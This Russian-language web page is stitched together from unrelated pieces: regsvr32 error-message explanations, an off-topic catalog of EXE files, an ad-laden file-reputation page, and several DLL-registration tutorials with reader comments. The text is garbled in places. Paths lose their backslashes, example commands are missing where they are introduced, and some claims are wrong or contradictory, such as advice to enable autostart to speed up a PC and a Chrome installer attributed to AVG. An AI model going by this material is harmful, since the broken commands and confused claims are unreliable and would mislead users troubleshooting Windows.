Regsvr32: Использование средства Regsvr32 и устранение неполадок, связанных с выводимыми им сообщениями об ошибках

Содержание

Использование средства Regsvr32 и устранение неполадок, связанных с выводимыми им сообщениями об ошибках

Нераспознанный флаг: /неверный_флаг

Введено недопустимое сочетание флагов и ключей.

Не указано имя DLL.

Не введено имя DLL-файла.

Имя_DLL было загружено, но найти точку входа для DllRegisterServer или DllUnregisterServer не удалось.

Файл с указанным именем DLL не является DLL- или OCX-файлом. Например, это сообщение об ошибке будет отображено, если введена команда regsvr32 wjview.exe.

Имя_DLL не является исполняемым файлом, и ни одного модуля поддержки для этого типа файлов не зарегистрировано.

Файл с указанным именем DLL не является исполняемым файлом EXE, DLL или OCX. Например, это сообщение об ошибке будет отображено, если введена команда regsvr32 autoexec.bat.

Имя_DLL не поддерживает автоматическую регистрацию, либо в памяти находится поврежденная версия.

Например, при вводе команды "regsvr32 icwdial.dll" будет возвращено это сообщение об ошибке, так как файл Icwdial.dll не регистрируется автоматически. При подозрении на наличие в памяти поврежденной версии файла с указанным именем DLL перезагрузите компьютер или повторно извлеките исходную версию файла.

Ошибка функции OleInitialize (или OleUninitialize)

Средство Regsvr32 должно инициализировать библиотеку COM, прежде чем вызывать ее функции, и отменить инициализацию при завершении работы. Эти сообщения об ошибке возникают, если попытка инициализации библиотеки COM или ее отмены не были успешными. Например, файл Ole32.dll поврежден или является неправильной версией.

Сбой при загрузке библиотеки ("Имя_DLL"). GetlastError возвращает ошибку 0x00000485

Winerror.h, 0x00000485 = 1157 (ERROR_DLL_NOT_FOUND). Это означает, что "Не найден один из файлов библиотек, необходимых для выполнения данного приложения". Например, при вводе команды regsvr32 missing.dll будет возвращено это сообщение об ошибке, если файл Missing.dll не найден.

Сбой при загрузке библиотеки ("Имя_DLL"). GetLastError возвращает ошибку 0x00000002

Winerror.h, 0x00000002 = 2 (ERROR_FILE_NOT_FOUND). Это означает "Не удается найти указанный файл". Т. е. не найден соответствующий DLL-файл. Например, при вводе команды regsvr32 icwdial.dll будет возвращено это сообщение об ошибке, если файл Tapi32.dll не найден.

Сбой при загрузке библиотеки (dskmaint.dll). GetLastError возвращает ошибку 0x000001f

Winerror.h, 0x000001f = 31 (ERROR_GEN_FAILURE). Это означает "Присоединенное к системе устройство не работает". Это происходит при попытке регистрации файла Win16.dll. Например, это сообщение об ошибке будет отображено, если введена команда regsvr32 dskmaint.dll.

Сбой при загрузке DllRegisterServer (или DllUnregisterServer) в Имя_DLL. Возвращенный код: строка

В файле Winerror.h найдите строку, указанную в сообщении.

Список всех файлов EXE — каталог файлов

$avantbrowser$.update.exe Avant Browser Avant Force 12.5.0.0
0009-64bit_Win7_Win8_Win81_Win10_R282.exe Realtek High Definition Audio Codec (Windows 7 / 8/ 8.1/ 10 64-bit) Realtek Semiconductor 2.11.15.0
1-2-3PDFConverter.exe 123 PDF Converter 123 pdf converter 4.1.0.0
120.exe Free FLV to MP4 Converter T7R Studio 9.2.80.0
123CreatePDF.exe 123 PDF Converter 123 pdf converter 4.1.0.0
123freesolitaire-v1100-setup.exe 123 Free Solitaire TreeCardGames 11.0.0.0
123FreeSolitaire.exe 123 Free Solitaire TreeCardGames 11
123PDFConverter.exe 123 PDF Converter 123 pdf converter 4.1.0.0
134.exe Free FLV to MP4 Converter T7R Studio 9.2.26.0
135.exe Free FLV to MP4 Converter T7R Studio 2.1.60.0
14812_GenesisStarterEssentials_1.3_trx.exe DAZ Studio DAZ 3D 1.3.0.0
2008 Data Converter (Career Edition).exe Wrestling MPire Remix: Career Edition MDickie 2.44
32.exe 3DP Net 3DP 18.12
32BitMAPIBroker.exe Adobe Acrobat DC Adobe Systems Incorporated 15.0.0.0
32Set.exe WindowBlinds Stardock Corporation 10.62
360AdvToolExecutor.exe 360 Total Security Qihoo 360 Technology 9.8.0.1033
360boxld.exe 360 Total Security Qihoo 360 Technology 2.0.0.1113
360boxld64.exe 360 Total Security Qihoo 360 Technology 2.0.0.1113
360boxmain.exe 360 Total Security Qihoo 360 Technology 8.6.0.1006
360Central.exe 360 Total Security Qihoo 360 Technology 9.0.0.1005
360DeskAna.exe 360 Total Security Qihoo 360 Technology 1.0.0.1037
360DeskAna64.exe 360 Total Security Qihoo 360 Technology 1.0.0.1037
360InstantSetup.exe 360 Total Security Qihoo 360 Technology 1.0.0.1028
360netcfg.exe 360 Total Security Qihoo 360 Technology 1.0.0.2034
360PatchMgr.exe 360 Total Security Qihoo 360 Technology 1.0.0.1210
360PatchMgr64.exe 360 Total Security Qihoo 360 Technology 1.0.0.1210
360realpro.exe 360 Total Security Qihoo 360 Technology 8.8.0.1000
360ScreenCapture.exe 360 Total Security Qihoo 360 Technology 1.0.0.0
360searchlite.exe 360 Total Security Qihoo 360 Technology 11.0.0.1134
360ShellPro.exe 360 Total Security Qihoo 360 Technology 9.0.0.1071
360SkinView.exe 360 Total Security Qihoo 360 Technology 1.0.0.1073
360SPTool.exe 360 Total Security Qihoo 360 Technology 2.0.1.1029
360Tray.exe 360 Total Security Qihoo 360 Technology 9.0.0.1034
360TsLiveUpd.exe 360 Total Security Qihoo 360 Technology 10.0.0.1056
360TS_Setup_10.6.0.1223.exe 360 Total Security Qihoo 360 Technology 10.6.0.1223
360TS_Setup_Mini_WW_Eagleget_001_6.6.0.1052.exe EagleGet EagleGet 6.6.0.1052
360View.exe Canon Utilities PhotoStitch Canon Inc. 3.1.6.7
360webshield.exe 360 Total Security Qihoo 360 Technology 1.0.0.1057
3D-Album.exe 3D-Album Micro Research II 4.0.0.5
3DAlbum .exe 3D-Album Micro Research II 4.0.0.4
3DAlbum.exe 3D-Album Micro Research II 4.0.0.5
3DC Tutorial Editor.exe 3DCrafter Amabilis Software 9.2.0.0
3DConfig.exe F1 2002 EA Sports 1.0.0.0
3DCrafter.exe 3DCrafter Amabilis Software 9.3.0.620
3DCTV.exe 3DCrafter Amabilis Software 9.2.0.359
3dmark-setup.exe 3DMark Basic Edition Futuremark Corporation 2.3.3732.0
3DMark.exe 3DMark Basic Edition Futuremark Corporation 2.3.3732.0
3DMarkCmd.exe 3DMark Basic Edition Futuremark Corporation 2.3
3DP_Chip.exe 3DP Chip 3DP 17.11.1
3DP_Chip_Lite_v19091.exe 3DP Chip 3DP 17.11.1
3DP_Net.exe 3DP Net 3DP 18.12
3DP_Net_v1812.exe 3DP Net 3DP 18.12
3DSetup.exe FIFA 2001 Electronic Arts 2.0.5.0
3DTitles.exe Corel VideoStudio Pro Corel 1.0.9.180
3DU.exe 3DCrafter Amabilis Software 6.5.0.10
3DViewer.exe Windows Microsoft 10
3DViewer.ResourceResolver.exe Windows Microsoft 1.1702.21039.0
4gb_patch.exe MediaMonkey Ventis Media Inc. 1.0.0.1
64.exe 3DP Net 3DP 18.12
64BitMailAgent.exe Foxit Reader Foxit Software Inc. 1.0.8.1228
64BitMAPIBroker.exe Adobe Acrobat DC Adobe Systems Incorporated 15.0.0.0
7.10.5_45356.exe BitTorrent BitTorrent 7.10.5.45356
7.exe 3DP Net 3DP 18.12
7001.exe Free FLV to MP4 Converter T7R Studio 5.2.38.0
7009739_eset_nod32_antivirus_live_installer.exe ESET Nod32 Antivirus ESET 10.9.61.0
7015.exe Free FLV to MP4 Converter T7R Studio 6.6.22.0
710_b039_multilanguage.exe BlackBerry Desktop Manager BlackBerry 7.1.0 B39
732.exe 3DP Net 3DP 18.12
764.exe 3DP Net 3DP 18.12
77.0.3865.90_chrome_installer.exe AVG Antivirus AVG Technologies 77.0.3865.90
79.0.3945.70_chrome_installer.exe Google Chrome
Google
79.0.3945.70
79.0.3945.88_chrome_installer.exe Google Chrome Google 79.0.3945.88
7StickyNotes.exe 7 Sticky Notes Fabio Martin 1.9.0.0
7z.exe AOMEI Partition Assistant Standard Edition Aomei Tech 9.20.0.0
7z1900-x64.exe 7-Zip Igor Pavlov 19.0.0.0
7z1900.exe 7-Zip Igor Pavlov 19.0.0.0
7za.exe Adobe Acrobat DC Adobe Systems Incorporated 18.5.0.0
7zFM.exe 7-Zip Igor Pavlov 19.0.0.0
7zG.exe 7-Zip Igor Pavlov 19.0.0.0
7zr.exe BlueStacks BlueStacks Corporation 19.0.0.0
8056.exe Free FLV to MP4 Converter T7R Studio 9.0.18.0
864.exe 3DP Net 3DP 18.12
8bfLoader.exe Zoner Photo Studio Zoner Software 19.1909.2.193
A43.exe
Acronis Disk Director Home
Acronis 2.5.3.0
a4f0c763-8eed-494e-ba33-0ba127392106.exe Soda PDF Lulu Software 9.0.24.30401
aacdec2.exe Debut Pro Video Screen Recorder NCH Software 5.62
aacenc3.exe WavePad Masters Edition NCH Software 9.4
aacinfo.exe McAfee Total Protection McAfee, Inc. 19.5.0.162
aaimr.exe Tiny Personal Firewall Tiny Software 6.0.0.5
AAM Registration Notifier.exe Adobe Acrobat DC Adobe Systems Incorporated 7.0.0.485
AAM Updates Notifier.exe Adobe Acrobat DC Adobe Systems Incorporated 9.0.0.281
AAMCustomHook.exe Adobe Acrobat DC Adobe Systems Incorporated 10.0.0.49
AAMHelper.exe Adobe Photoshop Lightroom Adobe Systems Incorporated 8.0.0.158
AAMLauncher.exe Adobe Acrobat DC Adobe Systems Incorporated 9.0.0.30
AAMLauncherUtil.exe Adobe Acrobat DC Adobe Systems Incorporated 10.0.0.49
aapt.exe Adobe Flash Professional CC Adobe Systems Incorporated (not specified)
aaRemove.exe PL/SQL Developer Allround Automations 10.0.2
Aasaan.exe Aasaan - Hindi Typing Tutor CK Technologies 1.0.0.0
AASIapp.exe Adobe Acrobat DC Adobe Systems Incorporated 10.0.0.263
ab.exe XAMPP Apache Friends 2.4.38.0

Что такое regsvr32.exe?

РЕКОМЕНДУЕМ: Нажмите здесь, чтобы исправить ошибки Windows и оптимизировать производительность системы

Подлинный файл regsvr32.exe является одним из компонентов программного обеспечения Microsoft Windows, разработанного Microsoft .

Microsoft Windows - это операционная система. Microsoft Register Server - это утилита командной строки Microsoft Windows. Regsvr32.exe - это исполняемый файл, который запускает программу и не представляет угрозы для вашего ПК. Microsoft Register Server или regsvr32 - это утилита командной строки для операционных систем Windows. Он используется для регистрации и отмены регистрации элементов управления ActiveX и библиотек DLL в реестре Windows и аналогичен ldconfig в Linux. Когда он регистрирует файл DLL, информация о связанных с ним файлах добавляется в реестр Windows, что помогает программам получать доступ к этим данным и взаимодействовать с ними.

Основанная Полом Алленом и Биллом Гейтсом в 1975 году, корпорация Microsoft является американской многонациональной технологической компанией, которая занимается разработкой, производством и поддержкой бытовой электроники, компьютерного оборудования, персональных компьютеров и услуг. Компания известна своей линейкой операционных систем Windows, линейкой планшетов Microsoft Surface и игровыми приставками Xbox, а также производит широкий спектр корпоративных и потребительских программ, таких как поиск в Интернете, с помощью Microsoft Bing.

RegSvr32 означает 32-битный регистр-сервер.

Расширение .exe в имени файла указывает на файл exe cutable. Исполняемые файлы могут, в некоторых случаях, нанести вред вашему компьютеру. Поэтому, пожалуйста, прочитайте ниже, чтобы решить для себя, является ли regsvr32.exe на вашем компьютере трояном, который вы должны удалить, или это файл, принадлежащий операционной системе Windows или доверенному приложению.

Regsvr32.exe процесс в диспетчере задач Windows

Процесс, известный как Microsoft © Register Server, принадлежит программному обеспечению Microsoft Windows Operating System от Microsoft (www.microsoft.com).

Описание: Regsvr32.exe является важной частью Windows, но часто вызывает проблемы. Файл regsvr32.exe находится в подпапках C: \ Windows (обычно C: \ Windows \ SysWOW64 \ ). Известные размеры файлов в Windows 10/8/7 / XP составляют 14 848 байт (53% всех вхождений), 20 480 байт и еще 4 варианта.

Это системный файл Windows. Файл regsvr32.exe является надежным файлом от Microsoft. Программа не имеет видимого окна. Regsvr32.exe способен мониторить приложения и манипулировать другими программами. Поэтому технический рейтинг надежности 2% опасности. но вы также должны сравнить этот рейтинг с отзывами пользователей.

  • Если regsvr32.exe находится в папке C: \ Windows \ System32, тогда рейтинг надежности 2% опасности . Размер файла составляет 14 848 байт (52% от всех вхождений), 11 776 байт и еще 4 варианта. Regsvr32.exe - это надежный файл от Microsoft. Программа не видна. Файл является системным файлом Windows. Regsvr32.exe способен мониторить приложения и манипулировать другими программами.
  • Если regsvr32.exe находится в папке C: \ Windows, тогда рейтинг надежности 72% опасности . Размер файла составляет 266, 424 байта (33% всех вхождений), 435, 385 байтов или 45, 752 байта. Там нет информации о файле. Программа не видна. Файл находится в папке Windows, но это не файл ядра Windows. Это не файл Windows.

Внешняя информация от Пола Коллинза:


  • "WUx_RegSvr": х есть любое число ??

Важно: некоторые вредоносные программы маскируют себя как regsvr32.exe, особенно если они находятся в папке C: \ Windows или C: \ Windows \ System32. Таким образом, вы должны проверить файл regsvr32.exe на вашем ПК, чтобы убедиться, что это угроза. Мы рекомендуем Security Task Manager для проверки безопасности вашего компьютера. Это был один из лучших вариантов загрузки The Washington Post и PC World .

Аккуратный и опрятный компьютер - это главное требование для избежания проблем с regsvr32. Это означает запуск сканирования на наличие вредоносных программ, очистку жесткого диска с использованием 1 cleanmgr и 2 sfc / scannow, 3 удаления ненужных программ, проверку наличия программ автозапуска (с использованием 4 msconfig) и включение автоматического обновления Windows 5. Всегда не забывайте выполнять периодическое резервное копирование или, по крайней мере, устанавливать точки восстановления.

Если у вас возникла реальная проблема, попробуйте вспомнить последнее, что вы сделали, или последнее, что вы установили до того, как проблема появилась впервые. Используйте команду 6 resmon для определения процессов, которые вызывают вашу проблему. Даже для серьезных проблем, вместо переустановки Windows, лучше восстановить вашу установку или, для Windows 8 и более поздних версий, выполнить команду 7 DISM.exe / Online / Cleanup-image / Restorehealth. Это позволяет восстановить операционную систему без потери данных.

Чтобы помочь вам проанализировать процесс regsvr32.exe на вашем компьютере, оказались полезными следующие программы: Менеджер задач безопасности отображает все запущенные задачи Windows, включая встроенные скрытые процессы, такие как мониторинг клавиатуры и браузера или записи автозапуска. Уникальный рейтинг риска безопасности указывает на вероятность того, что процесс является потенциальным шпионским ПО, вредоносным ПО или трояном. B Malwarebytes Anti-Malware обнаруживает и удаляет спящие шпионские, рекламные программы, трояны, клавиатурные шпионы, вредоносные программы и трекеры с вашего жесткого диска.

Связанный файл:

browserprotect.exe ievkbd.dll mbamswissarmy.sys regsvr32.exe buttonmonitor.exe bgagent.dll dlactrlw.exe keyscrambler.exe toparcadehits.dll maxthon.exe raptr_im.exe

Regsvr32 windows 10 64 bit

После установки различных программ или игр можно столкнуться с ситуацией, когда при включении возникает ошибка «Запуск программы произвести невозможно, так как требуемой DLL нет в системе». Несмотря на то, что ОС семейства Windows обычно регистрируют библиотеки в фоновом режиме, после того, как вы скачаете и поместите ваш DLL файл в соответствующее место, ошибка все равно возникает, и система просто его «не видит». Чтобы это исправить, нужно зарегистрировать библиотеку. Как это можно сделать, будет рассказано далее в этой статье.

Варианты решения проблемы

Имеется несколько методов, позволяющих устранить данную проблему. Рассмотрим каждый из них подробнее.

Способ 1: OCX/DLL Manager

OCX/DLL Manager – это маленькая программа которая может помочь зарегистрировать библиотеку или файл OCX.

Для этого вам нужно будет:

  1. Нажать на пункт меню «Register OCX/DLL».
  2. Выбрать тип файла, который будете регистрировать.
  3. При помощи кнопки «Browse» указать местоположение DLL.
  4. Нажать на кнопку «Register» и программа сама зарегистрирует файл.

OCX/DLL Manager также умеет отменять регистрацию библиотеки, для этого понадобится выбрать в меню пункт «Unregister OCX/DLL» и в последствии проделать все те же операции, как и в первом случае. Функция отмены может вам понадобиться для сравнения результатов при активированном файле и при отключенном, а также в процессе удаления некоторых компьютерных вирусов.

В процессе регистрации, система может выдать вам ошибку, говорящую о том, что требуются права администратора. В таком случае, нужно запустить программу нажав на неё правой кнопкой мыши, и выбрать «Запуск от имени администратора».

Способ 2: Меню «Выполнить»

Можно зарегистрировать DLL, используя команду «Выполнить» в стартовом меню операционной системы Windows. Для этого нужно будет произвести следующие действия:

  1. Нажать клавиатурную комбинацию «Windows + R» или выбрать пункт «Выполнить» из меню «Пуск».

Ввести имя программы, которая будет регистрировать библиотеку — regsvr32.exe, и путь, по которому размещен файл. В итоге должно получиться так:

где dllname — это имя вашего файла.

Этот пример подойдёт вам в том случае, если операционная система установлена на диск С. Если она находится в другом месте, то нужно будет поменять букву диска или воспользоваться командой:

В таком варианте программа сама находит папку где у вас установлена ОС и запускает регистрацию указанного DLL файла.

В случае с 64-разрядной системой у вас будет две программы regsvr32 — одна находится в папке:

и вторая по пути:

Это разные файлы, которые используются раздельно для соответствующих ситуаций. Если у вас 64-битная ОС, а файл DLL 32-битный, тогда сам файл библиотеки должен быть помещен в папку:

и команда будет выглядеть уже так:

  • Нажмите «Enter» или кнопку «OK»; система выдаст вам сообщение о том, успешно или нет была зарегистрирована библиотека.
  • Способ 3: Командная строка

    Регистрация файла через командную строку не сильно отличается от второго варианта:

    1. Выберите команду «Выполнить» в меню «Пуск».
    2. Впишите в открывшемся поле для ввода cmd.
    3. Нажмите «Enter».

    Перед вами появится окно, в котором нужно будет вводить те же команды, что и во втором варианте.

    Надо отметить, что у окна командной строки имеется функция вставки скопированного текста (для удобства). Найти это меню можно, нажав правой кнопкой на пиктограмме в левом верхнем углу.

    Способ 4: Открыть с помощью

    1. Откройте меню файла, который будете регистрировать, нажав по нему правой кнопкой мыши.
    2. Выберите «Открыть с помощью» в появившемся меню.

    Нажимаете «Обзор» и выберете программу regsvr32.exe из следующей директории:

    или в случае, если вы работаете в 64-битной системе, а файл DLL 32-разрядный:

  • Откройте DLL с помощью этой программы. Система выдаст сообщение об успешной регистрации.
  • Возможные ошибки

    «Файл не совместим с установленной версией Windows» — это означает, что вы, скорее всего, пытаетесь зарегистрировать 64-разрядную DLL в 32-битной системе или наоборот. Воспользуйтесь соответствующей командой, описанной во втором способе.

    «Точка входа не найдена» — не все библиотеки DLL можно зарегистрировать, некоторые из них просто не поддерживают команду DllRegisterServer. Также, возникновение ошибки может быть вызвано тем, что файл уже зарегистрирован системой. Существуют сайты, распространяющие файлы, которые в реальности не являются библиотеками. В таком случае, естественно, зарегистрировать ничего не выйдет.

    В заключение нужно сказать, что суть всех предложенных вариантов одна и та же — это просто разные методы запуска команды регистрации — кому как удобнее.

    Отблагодарите автора, поделитесь статьей в социальных сетях.

    Блог о модемах, роутерах и gpon ont терминалах.

    Одним из важнейших элементов Windows 10 являются файлы динамических библиотек с расширением DLL (Dynamic Link Library). Они могут использоваться как компонентами самой системы, так и сторонними программами и играми для работы с процессором, памятью и прочими устройствами компьютера. Один и тот же модуль динамической библиотеки иложет использоваться одновременно несколькими приложениями сразу. Яркий пример — DirectX. Как правило все подобные инструменты ставятся пакетно, распаковывая в системную папку сразу все необходимые элементы и модули. Но иногда бывают случаи, когда необходимой библиотеки нет или используется неактуальная версия. Тогда необходимо скачать в Интернете нужный файл, а затем зарегистрировать библиотеку DLL в Windows, чтобы система смогла с ним работать. Как это сделать я сейчас подробно расскажу.

    Куда устанавливать DLL-файлы

    Итак, Вы скачали из Интернета нужный модуль, распаковали из архива и теперь возникает совершенно логичный вопрос — а куда кидать DLL в систему?! Во первых, сначала надо определить разрядность системы, так как в 32-битной для этой цели используется одна папка, а в 64-битной — другая. Делается это очень легко. Кликаем правой кнопкой на значке «Этот компьютер» на рабочем столе и в меню выбираем пункт «Свойства». В появившемся окне находим строчку «Тип системы» и смотрим что там написано:

    То же самое можно посмотреть и через командную строку, введя команду systeminfo. Она выведет всю информацию о установленной ОС Виндовс, и в строке «Тип системы» будет указана её разрядность.

    Ну а дальше всё просто:

    Вот именно сюда и надо устанавить ДЛЛ-файл. Здесь %windir% — это переменная окружения, указывающая путь к системной директории, в которой располагаются все важные компоненты Виндовс.
    Проще говоря, если операционная система установлена на диске С:, то путь к нужным папкам будет C:WindowsSystem32 для 32-разрядной и C:WindowsSysWOW64 для 64-разрядной.

    Регистрация DLL в Windows

    Теперь самое интересное — как зарегистрировать библиотеку dll в Windows. Нажимаем кнопку Пуск правой кнопкой мыши и выбираем в контекстном меню пункт «Выполнить»:

    Того же самого эффекта можно достигнуть нажав комбинацию клавиш WIN+R. Повявится вот такое окно «Выполнить»:

    В строку «Открыть» надо ввести вот такую команду:

    В качестве примера давайте зарегистрируем библиотеку runtime.dll для 32-хбитной версии Windows 10. команда будет такой:

    Нажимаем на кнопку «ОК» и ждём что нам ответит система. Если всё правильно — она просто «съест» файл. Но случается и ошибки. Вот самая распространённая:

    Связана она либо с ошибкой в пути или имени файла, либо с неправильно выбранной папкой, в которую была скопирована ДЛЛ-ка для регистрации. Стоит ещё раз всё тщательно проверить.

    Помогло? Посоветуйте друзьям!

    Как зарегистрировать библиотеку dll в Windows 10 : 8 комментариев

    Ну хорошо! А почему для 64 битной не написали пример пути регистрации? Вот куда закинуть написали, а как зарегистрировать только для 32.

    Так подставляйте папку в пример и всё. Проще некуда.

    неплохо бы напомнить, что и resvr32.exe существует в 2-х экземплярах (разной разрядности).
    и что dll-ки бывают разной разрядности! и что 64-х битную dll в 64-х битной винде надо кидать в system32, а не в syswow64

    Всё-б так было просто взял и скопировал runtime библиотеку в
    %SystemDrive%Windowssystem32 🙂
    Вы автор пробовали ?? похоже нет.
    1-е данная директория защищена службой Защита программного обеспечения C:WINDOWSsystem32sppsvc.exe которую Вы оставили запущенной
    2-е Владельцем директории по умолч является TrustedInstaller
    группа Система и Администраторы имеют права чтение и выполнение
    Замена прав и атрибутов в директориях %SystemDrive%Windowssystem32 и SysWOW64 приведут к краху ос
    А без полных прав и владения объектом при копировании вам покажут национальную индейскую избу.

    На самом деле не то чтобы пробовал — по роду деятельности приходится достаточно часто разные самописные библиотеки регистрировать. И как бы без проблем. Написал, скомпилировал, подключил.

    »
    Для Windows 10 x32: %windir%system32
    Для Windows 10 x64: %windir%SysWOW64
    »
    Всё ровно наоборот!

    Игорь, Вы путаете. Дело в том, что в 32-х разрязной Windows динамические библиотеки лежат как раз в папке system32. В 64х разрядной библиотеки 64х программ лежат в System32, а 32х разрядных приложений в sysWOW64. Потому в 90% случаев и нужно в Windows 10 x64 класть библиотеки в папку sysWOW64. Надеюсь, что понятно объяснил.

    Модуль «CWindowsSysWOW64 ask_force_radio_win64.dll» загружен,но точка входа DllRegisterServer не найдена.
    Проверьте, что «C:WindowsSysWOW64 ask_force_radio_win64.dll» является правильным файлом DLL или OCX и повторите попытку.

    Пользователи спрашивают о том, как зарегистрировать dll файл в Windows 7 и 8. Обычно после того, как столкнулись с ошибками наподобие «Запуск программы невозможен, так как нужная dll отсутствует на компьютере». Об этом и поговорим.

    На самом деле, регистрация библиотеки в системе не такая уж и сложная задача (покажу целых три вариации одного способа) — по сути, необходим лишь один шаг. Единственное обязательное требование — наличие у вас прав администратора Windows.

    Однако есть некоторые нюансы — например, даже успешная регистрация DLL не обязательно избавляет вас от ошибки «библиотека отсутствует на компьютере», а появление ошибки RegSvr32 с сообщением о том, что модуль не совместим с версией Windows на этом компьютере или точка входа DLLRegisterServer не найдена, не говорит о том, что вы что-то делаете не так (о чем это говорит разъясню в конце статьи).

    Три способа регистрации DLL в ОС

    Описывая дальнейшие шаги, я исхожу из того, что вы нашли, куда нужно скопировать вашу библиотеку и DLL уже лежит в папку System32 или SysWOW64 (а возможно, где-то еще, если ей там следует находиться).

    Примечание: ниже будет описано, как зарегистрировать DLL библиотеку с помощью regsvr32.exe, однако обращаю ваше внимание на то, что если у вас 64-разрядная система, то у вас есть два regsvr32.exe — один в папке C:WindowsSysWOW64, второй — C:WindowsSystem32. И это разные файлы, причем 64-бит находится в папке System32. Рекомендую в каждом из способов использовать полный путь к regsvr32.exe, а не просто имя файла, как у меня показано в примерах.

    Первый способ описывается в Интернете чаще других и состоит в следующем:

    • Нажмите клавиши Windows + R или в меню Пуск Windows 7 выберите пункт «Выполнить» (если, конечно, у вас включено его отображение).
    • Введите regsvr32.exe путь_к_файлу_dll
    • Нажмите Ок или Enter.

    После этого, если все прошло успешно вы должны будете увидеть сообщение о том, что библиотека была успешно зарегистрирована. Но, с большой вероятностью увидите другое сообщение — Модуль загружен, но точка входа DllRegisterServer не найдена и стоит проверить, что ваша DLL является правильным файлом (об этом, как я уже говорил, напишу позже).

    Второй способ состоит в запуске командной строки от имени администратора и ввода все той же команды из предыдущего пункта.

    • Запустите командную строку от имени Администратора. В Windows 8 можно нажать клавиши Win+X, а затем выбрать нужный пункт меню. В Windows 7 вы можете найти командную строку в меню Пуск, кликнуть по ней правой кнопкой мыши и выбрать пункт «Запуск от имени администратора».
    • Введите команду regsvr32.exe путь_к_библиотеке_dll (пример вы можете видеть на скриншоте).

    Опять же, вероятно, что вам не удастся зарегистрировать DLL в системе.

    И последний способ, который также может пригодиться в некоторых случаях:

    • Кликните правой кнопкой мыши по DLL, которую нужно зарегистрировать и выберите пункт меню «Открыть с помощью».
    • Нажмите «Обзор» и найдите файл regsvr32.exe в папке Windows/System32 или Windows/SysWow64, откройте DLL с помощью него.

    Суть всех описанных способов зарегистрировать DLL в системе одна и та же, просто несколько разные способы запуска одной и той же команды — кому что удобнее. А теперь о том, почему у вас ничего не получается.

    Почему не удается зарегистрировать DLL

    Итак, у вас отсутствует какой-то файл DLL, из-за чего при запуске игры или программы вы видите ошибку, вы скачали этот файл из Интернета и пробуете зарегистрировать, но либо точка входа DllRegisterServer, либо модуль не совместим с текущей версией Windows, а может и что-то еще, то есть регистрация DLL невозможно.

    Почему это происходит (далее будет и про то, как это исправить):

    • Не все файлы DLL предназначены для того, чтобы их регистрировали. Для того, чтобы его можно было зарегистрировать данным способом, он должен иметь поддержку той самой функции DllRegisterServer. Иногда ошибка бывает также вызвана тем, что библиотека уже зарегистрирована.
    • Некоторые сайты, предлагающие скачать DLL, содержат по факту, файлы-пустышки с искомым вами именем и их невозможно зарегистрировать, так как на самом деле это не библиотека.

    А теперь о том, как это исправить:

    • Если вы программист и регистрируете свою DLL, попробуйте regasm.exe
    • Если вы пользователь и у вас что-то не запускается с сообщением о том, что DLL отсутствует на компьютере — поищите в Интернете, что это за файл, а не где его скачать. Обычно, зная это, вы можете скачать официальный установщик, который установит оригинальные библиотеки и зарегистрирует их в системе — например, для всех файлов с именем, начинающегося с d3d достаточно поставить DirectX с официального сайта Microsoft, для msvc — одну из версий Visual Studio Redistributable. (А если не запускается какая-то игра с торрента, то загляните-ка в отчеты антивируса, он мог удалить нужные DLL, это часто бывает с некоторыми модифицированными библиотеками).
    • Обычно, вместо регистрации DLL срабатывает размещение файла в одной папке с исполняемым файлом exe, который требует эту библиотеку.

    На этом завершаю, надеюсь, что-то стало более ясно, чем было.

    REGSVR32.EXE Устранить ошибку

    Файл REGSVR32.EXE относится к программе неизвестно производителя неизвестно. Его задача: REGSVR32.EXE Регистрирует в реестре файлы DLL и элементы управления ActiveX Windows.
    Обычно REGSVR32.EXE находится в каталоге неизвестно. Если этот файл находится в другой папке на Вашем компьютере, возможно, Вы выбрали такое расположение во время установки данного программного обеспечения. Однако это может указывать и на заражение вирусами.

    REGSVR32.EXE Устранить ошибку

    Если REGSVR32.EXE вызывает ошибки в, причиной могут быть поврежденные записи реестра.
    В большинстве случаев достаточно проверить реестр Windows на наличие ошибок REGSVR32.EXE!

    Если ошибки REGSVR32.EXE не удалось устранить, рекомендуется удалить программу с помощью "Панели управления", а затем повторно проверить реестр Windows.

    REGSVR32.EXE замедляет мой компьютер!

    Программы и файлы могут сильно ограничить производительность Windows. В некоторых случаях такой эффект вызывает и файл REGSVR32.EXE. В сомнительном случае следует удалить соответствующую программу.
    Если REGSVR32.EXE в перечне автозагрузки Windows, это может привести к замедлению работы компьютера. Рекомендуется включить автозапуск этой программы.
    Наш совет: AVG TuneUp™ отключает излишние автоматически загружаемые программы, а также процессы Windows, уменьшая тем самым нагрузку на компьютер.

    Представляет ли REGSVR32.EXE опасность для моего компьютера?

    REGSVR32.EXE считается Надежно. Если он находится не в каталоге по умолчанию, это может указывать на заражение вирусами. Проверьте компьютер с помощью актуальной антивирусной программы. Наш совет: AVG Anti-Virus Free.

    Вся информация о REGSVR32.EXE:

    У нас имеется следующая информация о REGSVR32.EXE.
    Имя продукта: неизвестно
    Имя процесса: неизвестно
    Производитель: неизвестно
    Интернет-сайт Производитель: неизвестно
    Путь к файлу по умолчанию: неизвестно
    Категория: Программа, являющаяся частью операционной системы.
    Оценка: Надежно

    Как зарегистрировать DLL библиотеки (x32-64 bit) в Windows 10/7

    Когда пользователь запускает игры или программы, то может столкнуться с ошибкой, что не удалось запустить программу, так как на компьютере отсутствует DLL файл. В большинстве случаях, регистрация указанного DLL файла может устранить данную ошибку. Также, иногда бывают моменты, когда библиотеку нужно перезарегистрировать заново, т.е. отменить текущую регистрацию и заново зарегистрировать.

    Воспользуемся инструментом Regsvr32 командной строки, который регистрирует и отменяет регистрацию DLL библиотек и ActiveX (OCX) в Windows 10/8.1/7.

    Отмена и повторная регистрация DLL библиотеки

    Путь к DLL библиотеке можно скопировать, чтобы не писать его вручную в командой строке. Для этого, зажмите левый Shift и нажмите правой кнопкой мыши по DLL фалу, после чего "Копировать как путь".

    Наберите в поиске "Командная строка" и нажмите по ней правой кнопкой мыши, после чего выберите "Запустить от имени администратора" и вводите ниже команды, которые вам необходимы.

    Регистрация DLL библиотеки

    В командную строку введите следующую команду, чтобы зарегистрировать DLL библиотеку в системе Windows.

    regsvr32 C:\Windows\SysWOW64\myWEBpc.dll

    Отменить регистрацию файла DLL

    Чтобы отменить текущую регистрацию DLL файла, введите ниже команду и нажмите Enter:

    regsvr32 /u C:\Windows\SysWOW64\myWEBpc.dll

    Перерегистрировать все файлы dll

    Чтобы зарегистрировать все файлы dll в системе Windows, то:

    for %1 in (*.dll) do regsvr32 /s %1

    Регистрация 32-битной DLL в 64-битной ОС

    Если вы получаете сообщение об ошибке при регистрации 32-разрядной библиотеки DLL в 64-разрядной версии Windows, выполните следующие действия:

